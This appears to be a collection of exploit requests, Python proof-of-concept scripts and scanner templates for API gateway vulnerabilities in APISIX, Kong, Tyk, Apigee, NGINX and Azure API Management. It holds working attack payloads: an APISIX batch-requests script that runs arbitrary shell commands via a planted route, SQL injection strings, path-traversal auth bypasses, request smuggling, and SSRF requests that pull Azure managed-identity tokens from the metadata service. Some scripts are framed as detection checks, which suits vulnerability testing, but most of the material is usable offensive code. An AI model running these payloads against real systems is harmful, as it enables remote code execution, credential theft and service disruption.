API安全网关与防护平台高危攻击链专题：APISIX / Kong / Tyk / Apigee / NGINX / Azure APIM 漏洞全解析

POST /api/batch-requests HTTP/1.1
Host: target.com:9080
Content-Type: application/json

{
  "pipeline": [
    {
      "method": "POST",
      "path": "apisix/admin/routes",
      "headers": {
        "X-REAL-IP": "127.0.0.1",
        "Content-Type": "application/json",
        "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1"
      },
      "body": "{\"uri\":\"/*\",\"filter_func\":\"function(vars) os.execute('id > /tmp/pwned'); return false end\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"127.0.0.1:80\":1}}}"
    }
  ]
}

#!/usr/bin/env python3
"""CVE-2022-24112 Apache APISIX batch-requests IP Restriction Bypass RCE"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def exploit(target, command="id", api_key="edd1c9f034335f136f87ad84b625c8f1"):
    base_url = target.rstrip("/")
    batch_endpoint = f"{base_url}/api/batch-requests"

    route_body = {
        "uri": "/pwned_test",
        "filter_func": (
            f"function(vars) "
            f"os.execute('{command}'); "
            f"return false end"
        ),
        "upstream": {
            "type": "roundrobin",
            "nodes": {"127.0.0.1:80": 1},
        },
    }

    payload = {
        "pipeline": [
            {
                "method": "POST",
                "path": "apisix/admin/routes",
                "headers": {
                    "X-REAL-IP": "127.0.0.1",
                    "Content-Type": "application/json",
                    "X-API-KEY": api_key,
                },
                "body": json.dumps(route_body),
            }
        ]
    }

    try:
        resp = requests.post(
            batch_endpoint,
            json=payload,
            timeout=10,
            verify=False,
            headers={"Content-Agent": "APISIX CVE-2022-24112 PoC"},
        )
        print(f"[+] Status: {resp.status_code}")
        print(f"[+] Response: {resp.text[:500]}")
        if resp.status_code == 200:
            print("[+] Exploit may have succeeded - check /tmp/pwned for output")
        return resp
    except requests.RequestException as e:
        print(f"[!] Request failed: {e}")
        return None


def cleanup(target, route_id="pwned_test", api_key="edd1c9f034335f136f87ad84b625c8f1"):
    base_url = target.rstrip("/")
    delete_url = f"{base_url}/apisix/admin/routes/{route_id}"
    try:
        resp = requests.delete(
            delete_url,
            headers={"X-API-KEY": api_key},
            timeout=10,
            verify=False,
        )
        print(f"[+] Cleanup: {resp.status_code}")
    except requests.RequestException:
        pass


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [command] [api_key]")
        sys.exit(1)
    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    key = sys.argv[3] if len(sys.argv) > 3 else "edd1c9f034335f136f87ad84b625c8f1"
    exploit(target, cmd, key)

id: CVE-2022-24112

info:
  name: Apache APISIX batch-requests IP Restriction Bypass RCE
  author: x7peeps
  severity: critical
  description: |
    Apache APISIX batch-requests plugin allows IP restriction bypass via
    X-REAL-IP header manipulation, enabling unauthorized Admin API access
    and potential RCE through malicious route creation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24112
    - https://apisix.apache.org/blog/2022/01/27/cve-2022-24112/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24112
    cwe-id: CWE-290
  tags: cve,cve2022,apisix,rce,bypass

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/batch-requests"

    headers:
      Content-Type: application/json

    body: |
      {"pipeline":[{"method":"GET","path":"apisix/admin/routes","headers":{"X-REAL-IP":"127.0.0.1","X-API-KEY":"edd1c9f034335f136f87ad84b625c8f1"}}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "list"
          - "node"
        condition: or

      - type: status
        status:
          - 200

GET /api/internal/admin/routes/list HTTP/1.1
Host: target-dashboard.com:9000

#!/usr/bin/env python3
"""CVE-2021-45232 Apache APISIX Dashboard Unauthorized Access"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target):
    endpoints = [
        "/api/internal/admin/routes/list",
        "/api/internal/admin/upstreams/list",
        "/api/internal/admin/ssls/list",
    ]
    base_url = target.rstrip(":")
    if not base_url.endswith(":9000"):
        base_url += ":9000"

    findings = []
    for ep in endpoints:
        try:
            resp = requests.get(
                f"{base_url}{ep}",
                timeout=10,
                verify=False,
                headers={"User-Agent": "Mozilla/5.0 (Dashboard PoC)"},
            )
            if resp.status_code == 200:
                try:
                    data = resp.json()
                    findings.append({"endpoint": ep, "data_preview": json.dumps(data)[:200]})
                except json.JSONDecodeError:
                    findings.append({"endpoint": ep, "data_preview": resp.text[:200]})
        except requests.RequestException:
            continue

    return findings


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_dashboard>")
        sys.exit(1)
    results = check(sys.argv[1])
    if results:
        print(f"[+] CVE-2021-45232 Vulnerable! Found {len(results)} exposed endpoints:")
        for r in results:
            print(f"    {r['endpoint']}")
            print(f"    Preview: {r['data_preview']}")
    else:
        print("[-] Not Vulnerable or endpoints not accessible")

id: CVE-2021-45232

info:
  name: Apache APISIX Dashboard Unauthorized Access
  author: x7peeps
  severity: critical
  description: |
    APISIX Dashboard Manager API authentication bypass due to mixed
    droplet/gin framework routing, allowing unauthenticated access to
    admin endpoints.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45232
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.8
    cve-id: CVE-2021-45232
    cwe-id: CWE-306
  tags: cve,cve2021,apisix,dashboard,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/internal/admin/routes/list"
      - "{{BaseURL}}/api/internal/admin/upstreams/list"
      - "{{BaseURL}}/api/internal/admin/ssls/list"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "total"
          - "list"
        condition: and

      - type: status
        status:
          - 200

GET /protected-api HTTP/1.1
Host: target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ0ZXN0IjoxfQ.INVALID_SIGNATURE

#!/usr/bin/env python3
"""CVE-2022-29266 APISIX jwt-auth Secret Key Leak Detection"""
import requests
import base64
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def leak_secret(target, protected_path="/"):
    base_url = target.rstrip("/")
    url = f"{base_url}{protected_path}"

    header = base64.urlsafe_b64encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()).rstrip(b"=").decode()
    payload = base64.urlsafe_b64encode(json.dumps({"test": 1}).encode()).rstrip(b"=").decode()
    fake_jwt = f"{header}.{payload}.invalid"

    try:
        resp = requests.get(
            url,
            headers={"Authorization": f"Bearer {fake_jwt}"},
            timeout=10,
            verify=False,
        )
        if resp.status_code == 401:
            body = resp.text
            try:
                data = resp.json()
                msg = data.get("message", "") or data.get("error", "")
            except json.JSONDecodeError:
                msg = body
            if "key" in msg.lower() or "secret" in msg.lower():
                return True, msg
        return False, resp.text[:200]
    except requests.RequestException as e:
        return False, str(e)


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [protected_path]")
        sys.exit(1)
    path = sys.argv[2] if len(sys.argv) > 2 else "/"
    vuln, info = leak_secret(sys.argv[1], path)
    if vuln:
        print(f"[+] CVE-2022-29266 Vulnerable! Secret leaked in response:")
        print(f"    {info}")
    else:
        print(f"[-] Not Vulnerable or not exploitable: {info}")

id: CVE-2022-29266

info:
  name: Apache APISIX jwt-auth Secret Key Leak
  author: x7peeps
  severity: high
  description: |
    APISIX jwt-auth plugin leaks the secret key in error responses when
    JWT verification fails, enabling token forgery and auth bypass.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29266
    - https://apisix.apache.org/blog/2022/06/27/cve-2022-29266/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-29266
    cwe-id: CWE-200
  tags: cve,cve2022,apisix,jwt,information-disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      Authorization: "Bearer eyJhbGciOiJIUzI1NiJ9.eyJ0ZXN0IjoxfQ.invalid"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "key"
          - "secret"
          - "signature"
        condition: or

      - type: status
        status:
          - 401

POST /api/protected HTTP/1.1
Host: target.com
Content-Type: application/json
Transfer-Encoding: chunked
Content-Length: 60

0

GET /admin/internal HTTP/1.1
Host: target.com

#!/usr/bin/env python3
"""CVE-2024-32638 APISIX forward-auth HTTP Request Smuggling Detection"""
import requests
import sys
import socket
import ssl
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target):
    url = target.rstrip("/")
    try:
        normal_resp = requests.get(
            f"{url}/",
            timeout=10,
            verify=False,
            allow_redirects=False,
        )
        normal_status = normal_resp.status_code
    except requests.RequestException:
        normal_status = None

    smuggled_body = (
        "0\r\n"
        "\r\n"
        "GET /nonexistent_smuggle_test HTTP/1.1\r\n"
        "Host: target.com\r\n"
        "\r\n"
    )

    try:
        resp = requests.post(
            f"{url}/",
            data=smuggled_body,
            headers={
                "Transfer-Encoding": "chunked",
                "Content-Type": "application/json",
            },
            timeout=10,
            verify=False,
            allow_redirects=False,
        )
        if resp.status_code in (400, 411, 502):
            return True
        if resp.status_code == normal_status:
            return False
        return True
    except requests.RequestException:
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    status = "Vulnerable" if result else "Not Vulnerable"
    print(f"[{'+' if result else '-'}] CVE-2024-32638 APISIX forward-auth Smuggling: {status}")

id: CVE-2024-32638

info:
  name: Apache APISIX forward-auth HTTP Request Smuggling
  author: x7peeps
  severity: medium
  description: |
    APISIX forward-auth plugin has HTTP parsing inconsistency with
    upstream authorization services, enabling request smuggling attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32638
    - https://apisix.apache.org/blog/2024/07/cve-2024-32638/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 6.3
    cve-id: CVE-2024-32638
    cwe-id: CWE-444
  tags: cve,cve2024,apisix,request-smuggling

http:
  - method: POST
    path:
      - "{{BaseURL}}/"

    headers:
      Transfer-Encoding: "chunked"
      Content-Type: application/json

    body: "0\r\n\r\nGET /nonexistent_smuggle_test HTTP/1.1\r\nHost: target.com\r\n\r\n"

    matchers:
      - type: status
        status:
          - 400
          - 411
          - 502

GET /public/../api/v1/customers HTTP/1.1
Host: target-kong.com

#!/usr/bin/env python3
"""CVE-2021-27306 Kong JWT Path Traversal Auth Bypass Detection"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, public_path="/public", protected_path="/api/v1/customers"):
    base_url = target.rstrip("/")
    paths_to_test = [
        f"{public_path}/../{protected_path.lstrip('/')}",
        f"{public_path}/..{protected_path}",
        f"{public_path}%2f..%2f{protected_path.lstrip('/')}",
        f"{public_path}/%2e%2e{protected_path}",
    ]

    for traversal_path in paths_to_test:
        try:
            resp = requests.get(
                f"{base_url}{traversal_path}",
                timeout=10,
                verify=False,
                allow_redirects=False,
            )
            if resp.status_code == 200:
                content_type = resp.headers.get("Content-Type", "")
                if "json" in content_type or "api" in content_type.lower():
                    return True, traversal_path, resp.status_code
                body_preview = resp.text[:200]
                if "customer" in body_preview.lower() or "user" in body_preview.lower():
                    return True, traversal_path, resp.status_code
        except requests.RequestException:
            continue

    return False, None, None


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [public_path] [protected_path]")
        sys.exit(1)
    pub = sys.argv[2] if len(sys.argv) > 2 else "/public"
    prot = sys.argv[3] if len(sys.argv) > 3 else "/api/v1/customers"
    vuln, path, code = check(sys.argv[1], pub, prot)
    if vuln:
        print(f"[+] CVE-2021-27306 Vulnerable!")
        print(f"    Bypass path: {path} -> Status: {code}")
    else:
        print("[-] Not Vulnerable or paths not matching")

id: CVE-2021-27306

info:
  name: Kong Gateway JWT Path Traversal Auth Bypass
  author: x7peeps
  severity: high
  description: |
    Kong Gateway Enterprise JWT plugin can be bypassed via path traversal
    sequences that match unprotected routes before reaching protected ones.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27306
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-27306
    cwe-id: CWE-706
  tags: cve,cve2021,kong,jwt,path-traversal,bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/../api/v1/customers"
      - "{{BaseURL}}/public/..%2fapi/v1/customers"
      - "{{BaseURL}}/public/%2e%2e/api/v1/customers"

    matchers:
      - type: status
        status:
          - 200

GET /api/errors/count/1' UNION SELECT 1,2,3,4-- HTTP/1.1
Host: target-tyk.com:8080

#!/usr/bin/env python3
"""CVE-2023-42283 Tyk Gateway SQL Injection Detection"""
import requests
import sys
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_boolean_blind(target):
    base_url = target.rstrip("/")
    url = f"{base_url}/api/errors/count/"

    true_payload = "1' AND '1'='1"
    false_payload = "1' AND '1'='2"

    try:
        t1 = time.time()
        resp_true = requests.get(
            f"{url}{true_payload}",
            timeout=15,
            verify=False,
        )
        time_true = time.time() - t1

        t2 = time.time()
        resp_false = requests.get(
            f"{url}{false_payload}",
            timeout=15,
            verify=False,
        )
        time_false = time.time() - t2

        if resp_true.status_code != resp_false.status_code:
            return True

        if resp_true.text != resp_false.text:
            return True

        if abs(time_true - time_false) > 3.0:
            return True

        return False
    except requests.RequestException:
        return False


def check_union(target):
    base_url = target.rstrip("/")
    url = f"{base_url}/api/errors/count/"

    payloads = [
        "1 UNION SELECT 1,2,3,4--",
        "1' UNION SELECT NULL,NULL,NULL,NULL--",
    ]

    for payload in payloads:
        try:
            resp = requests.get(
                f"{url}{payload}",
                timeout=10,
                verify=False,
            )
            if resp.status_code == 200:
                try:
                    data = resp.json()
                    if isinstance(data, dict) and data.get("rows"):
                        return True
                except Exception:
                    pass
        except requests.RequestException:
            continue

    return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    vuln = check_boolean_blind(target) or check_union(target)
    if vuln:
        print(f"[+] CVE-2023-42283 Vulnerable! SQL Injection in /api/errors/count/")
    else:
        print("[-] Not Vulnerable or not exploitable")

id: CVE-2023-42283

info:
  name: Tyk Gateway SQL Injection in Error Count API
  author: x7peeps
  severity: critical
  description: |
    Tyk Gateway /api/errors/count/ endpoint is vulnerable to unauthenticated
    SQL injection via the api_id parameter, enabling database access.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42283
    - https://github.com/andreysanyuk/CVE-2023-42283
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-42283
    cwe-id: CWE-89
  tags: cve,cve2023,tyk,sqli,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/errors/count/1' AND '1'='1"
      - "{{BaseURL}}/api/errors/count/1' AND '1'='2"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "count"
          - "rows"
        condition: or

      - type: status
        status:
          - 200
          - 500

POST /v1/organizations/myorg/apis/deployments HTTP/1.1
Host: api.apigee.googleapis.com
Authorization: Bearer <access_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="malicious-bundle.zip"
Content-Type: application/zip

<binary proxy bundle with malicious JavaCallout>
------WebKitFormBoundary--

#!/usr/bin/env python3
"""CVE-2025-13426 Google Apigee JavaCallout RCE Detection (Non-destructive)"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_java_callout_available(target, token=None):
    base_url = target.rstrip("/")
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    check_paths = [
        "/v1/organizations",
        "/v1/o",
        "/v1/organizations/myorg/apis",
    ]

    findings = []
    for path in check_paths:
        try:
            resp = requests.get(
                f"{base_url}{path}",
                headers=headers,
                timeout=10,
                verify=False,
            )
            if resp.status_code in (200, 403, 401):
                findings.append({
                    "path": path,
                    "status": resp.status_code,
                    "hint": "Apigee Management API accessible" if resp.status_code == 200 else "Requires auth",
                })
        except requests.RequestException:
            continue

    return findings


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <apigee_mgmt_endpoint> [token]")
        sys.exit(1)
    token = sys.argv[2] if len(sys.argv) > 2 else None
    results = check_java_callout_available(sys.argv[1], token)
    if results:
        print(f"[+] Apigee Management API endpoints found:")
        for r in results:
            print(f"    {r['path']} -> {r['status']} ({r['hint']})")
        print("[*] CVE-2025-13426: If JavaCallout deploys succeed, RCE may be possible")
    else:
        print("[-] No Apigee Management API endpoints accessible")

id: CVE-2025-13426

info:
  name: Google Apigee Hybrid JavaCallout RCE
  author: x7peeps
  severity: high
  description: |
    Apigee Hybrid JavaCallout policy allows sandbox escape via MessageContext
    injection, enabling arbitrary Java code execution by users with API proxy
    deployment permissions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13426
    - https://cloud.google.com/apigee/docs/release-notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.7
    cve-id: CVE-2025-13426
    cwe-id: CWE-913
  tags: cve,cve2025,apigee,rce,java

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/organizations"

    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
          - 403
          - 401

GET /storage/v1/b/tenant-analytics-bucket/o?maxResults=100 HTTP/1.1
Host: storage.googleapis.com
Authorization: Bearer <escalated_service_account_token>

#!/usr/bin/env python3
"""CVE-2025-13292 Apigee-X GatewayToHeaven Access Pattern Detection"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_gcs_access(token):
    headers = {"Authorization": f"Bearer {token}"}
    gcs_api = "https://storage.googleapis.com/storage/v1"

    try:
        resp = requests.get(
            f"{gcs_api}/b",
            headers=headers,
            timeout=10,
            verify=False,
        )
        if resp.status_code == 200:
            data = resp.json()
            buckets = data.get("items", [])
            suspicious = [
                b for b in buckets
                if any(kw in b.get("id", "").lower() for kw in ["apigee", "analytics", "access-log", "gateway"])
            ]
            return True, suspicious
        return False, []
    except requests.RequestException:
        return False, []


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <gcp_service_account_token>")
        sys.exit(1)
    vuln, buckets = check_gcs_access(sys.argv[1])
    if vuln:
        print(f"[+] CVE-2025-13292: GCS access confirmed")
        if buckets:
            print(f"    Found {len(buckets)} suspicious Apigee-related buckets:")
            for b in buckets[:10]:
                print(f"    - {b.get('id')}")
        else:
            print("    No suspicious buckets found (check manually)")
    else:
        print("[-] GCS access denied or not exploitable")

id: CVE-2025-13292

info:
  name: Google Apigee-X GatewayToHeaven Cross-Tenant Data Access
  author: x7peeps
  severity: high
  description: |
    Apigee-X allows cross-tenant data access via GCP service account
    privilege escalation through Dataflow, exposing plaintext access
    tokens in analytics logs.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13292
    - https://omeramiad.com/
    - https://focalsecurity.io/
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
    cvss-score: 7.6
    cve-id: CVE-2025-13292
    cwe-id: CWE-269
  tags: cve,cve2025,apigee,gcp,cross-tenant,data-exfiltration

http:
  - method: GET
    path:
      - "https://storage.googleapis.com/storage/v1/b?maxResults=100"

    headers:
      Authorization: "Bearer {{token}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apigee"
          - "analytics"
        condition: or

      - type: status
        status:
          - 200

HEADERS + END_STREAM
Stream 1: GET / HTTP/2.0
:authority: target.com

RST_STREAM
Stream 1: CANCEL

HEADERS + END_STREAM
Stream 3: GET / HTTP/2.0
:authority: target.com

RST_STREAM
Stream 3: CANCEL
...（高速重复）

#!/usr/bin/env python3
"""CVE-2023-44487 HTTP/2 Rapid Reset DoS Detection (Safe - Low Rate)"""
import requests
import sys
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_http2_support(target):
    try:
        resp = requests.get(
            target,
            timeout=10,
            verify=False,
            headers={"User-Agent": "CVE-2023-44487 Detector/1.0"},
        )
        http_version = resp.raw.version
        if http_version == 20:
            return True, "HTTP/2 supported"
        return False, f"HTTP version: {resp.raw.version}"
    except requests.RequestException as e:
        return False, str(e)


def safe_rapid_reset_test(target, num_requests=50, delay=0.01):
    import http.client
    import ssl

    from urllib.parse import urlparse

    parsed = urlparse(target)
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == "https" else 80)

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    try:
        if port == 443:
            conn = http.client.HTTPSConnection(host, port, context=ctx, timeout=10)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=10)

        start = time.time()
        for i in range(num_requests):
            try:
                conn.request("GET", "/", headers={
                    "Host": host,
                    "Connection": "keep-alive",
                })
                resp = conn.getresponse()
                resp.read()
            except Exception:
                pass
            time.sleep(delay)

        elapsed = time.time() - start
        return elapsed
    except Exception:
        return None


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    supported, info = check_http2_support(target)
    print(f"[*] {target}: {info}")
    if supported:
        print("[*] HTTP/2 is supported - potentially vulnerable to CVE-2023-44487")
        print("[*] Running safe low-rate test...")
        elapsed = safe_rapid_reset_test(target)
        if elapsed:
            print(f"[*] Test completed in {elapsed:.2f}s")

id: CVE-2023-44487

info:
  name: HTTP/2 Rapid Reset DDoS
  author: x7peeps
  severity: high
  description: |
    HTTP/2 Rapid Reset attack exploits the protocol's ability to rapidly
    create and cancel streams, causing resource exhaustion on servers
    that support HTTP/2.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44487
    - https://cloud.google.com/blog/products/identity-security/throttling-http-2-based-ddos-attacks
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-44487
    cwe-id: CWE-400
  tags: cve,cve2023,http2,ddos,protocol

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      User-Agent: "CVE-2023-44487 Detector/1.0"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "h2"
          - "HTTP/2"
        condition: or

      - type: status
        status:
          - 200
          - 403

# 需要使用 HTTP/3 QUIC 协议发送特制流量
# 使用 curl --http3 或专用工具
curl --http3 https://target.com/ -d "QPACK_encoded_malicious_headers"

#!/usr/bin/env python3
"""CVE-2026-42530 NGINX HTTP/3 QUIC UAF Detection (Non-destructive)"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_http3_support(target):
    try:
        resp = requests.get(
            target,
            timeout=10,
            verify=False,
            headers={"User-Agent": "Mozilla/5.0"},
        )
        alt_svc = resp.headers.get("Alt-Svc", "")
        server = resp.headers.get("Server", "")

        http3_supported = "h3" in alt_svc.lower() or "quic" in alt_svc.lower()
        return http3_supported, {
            "Alt-Svc": alt_svc,
            "Server": server,
            "status": resp.status_code,
        }
    except requests.RequestException as e:
        return False, {"error": str(e)}


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    supported, info = check_http3_support(sys.argv[1])
    if supported:
        print(f"[+] HTTP/3 QUIC supported - potentially affected by CVE-2026-42530")
        for k, v in info.items():
            print(f"    {k}: {v}")
    else:
        print(f"[-] HTTP/3 not detected: {info}")

id: CVE-2026-42530

info:
  name: NGINX HTTP/3 QUIC Use-After-Free RCE/DoS
  author: x7peeps
  severity: high
  description: |
    NGINX HTTP/3 QUIC module contains a Use-After-Free in QPACK stream
    handling, allowing RCE (ASLR disabled) or DoS via crafted HTTP/3 traffic.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42530
    - https://nginx.org/en/security_advisories.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-42530
    cwe-id: CWE-416
  tags: cve,cve2026,nginx,http3,quic,uaf,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      User-Agent: "Mozilla/5.0"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "h3"
          - "quic"
        condition: or

      - type: word
        part: header
        words:
          - "nginx"

POST /grpc-service HTTP/2.0
Host: target.com
Content-Type: application/grpc
:method: POST

<畸形 gRPC DATA 帧 payload>

#!/usr/bin/env python3
"""CVE-2026-42055 NGINX gRPC Heap Buffer Overflow Detection (Non-destructive)"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_grpc_support(target):
    try:
        resp = requests.options(
            target,
            timeout=10,
            verify=False,
            headers={"User-Agent": "Mozilla/5.0"},
        )
        allow = resp.headers.get("Allow", "")
        te = resp.headers.get("TE", "")
        server = resp.headers.get("Server", "")

        grpc_indicators = ["grpc" in allow.lower(), "grpc" in te.lower(), "trailers" in te.lower()]
        nginx_indicators = ["nginx" in server.lower()]

        return any(grpc_indicators), any(nginx_indicators), {
            "Server": server,
            "Allow": allow,
            "TE": te,
            "status": resp.status_code,
        }
    except requests.RequestException as e:
        return False, False, {"error": str(e)}


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    grpc_ok, nginx_ok, info = check_grpc_support(sys.argv[1])
    if grpc_ok and nginx_ok:
        print("[+] CVE-2026-42055: NGINX gRPC proxy detected - potentially vulnerable")
        for k, v in info.items():
            print(f"    {k}: {v}")
    elif nginx_ok:
        print("[*] NGINX detected but gRPC not confirmed")
    else:
        print(f"[-] Not applicable: {info}")

id: CVE-2026-42055

info:
  name: NGINX gRPC/HTTP2 Proxy Heap Buffer Overflow
  author: x7peeps
  severity: high
  description: |
    NGINX HTTP/2 backend proxy and gRPC upstream modules contain a heap
    buffer overflow triggered by malformed HTTP/2 or gRPC streams.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42055
    - https://nginx.org/en/security_advisories.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-42055
    cwe-id: CWE-122
  tags: cve,cve2026,nginx,grpc,h2,heap-overflow,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      User-Agent: "Mozilla/5.0"

    matchers:
      - type: word
        part: header
        words:
          - "nginx"

GET /proxy?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01 HTTP/1.1
Host: target-apim.azure-api.net
Metadata: true

#!/usr/bin/env python3
"""Azure APIM CORS Proxy SSRF Detection"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_ssrf(target):
    base_url = target.rstrip("/")
    payloads = [
        "/proxy?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01",
        "/proxy?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
        "/cors?url=http://169.254.169.254/metadata/instance",
    ]

    for payload in payloads:
        try:
            resp = requests.get(
                f"{base_url}{payload}",
                timeout=10,
                verify=False,
                headers={"Metadata": "true"},
            )
            if resp.status_code == 200:
                body = resp.text
                if "vmName" in body or "subscriptionId" in body or "access_token" in body:
                    return True, payload, resp.text[:300]
        except requests.RequestException:
            continue

    return False, None, None


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <apim_endpoint>")
        sys.exit(1)
    vuln, path, preview = check_ssrf(sys.argv[1])
    if vuln:
        print(f"[+] Azure APIM SSRF Vulnerable!")
        print(f"    Endpoint: {path}")
        print(f"    Preview: {preview}")
    else:
        print("[-] Not Vulnerable or proxy not exposed")

id: azure-apim-ssrf

info:
  name: Azure API Management CORS Proxy SSRF
  author: x7peeps
  severity: high
  description: |
    Azure APIM CORS/Hosting Proxy can be abused to access internal
    metadata endpoints and internal services via SSRF.
  reference:
    - https://www.tenable.com/blog/azure-api-management-vulnerabilities
  classification:
    cvss-score: 8.6
    cwe-id: CWE-918
  tags: azure,apim,ssrf,metadata

http:
  - method: GET
    path:
      - "{{BaseURL}}/proxy?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"

    headers:
      Metadata: "true"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "vmName"
          - "subscriptionId"
          - "resourceGroupName"
        condition: or

      - type: status
        status:
          - 200

POST /subscriptions/{sub-id}/resourceGroups/{rg}/providers/Microsoft.ApiManagement/service/{service}/listSecrets?api-version=2021-08-01 HTTP/1.1
Host: management.azure.com
Authorization: Bearer <reader_role_token>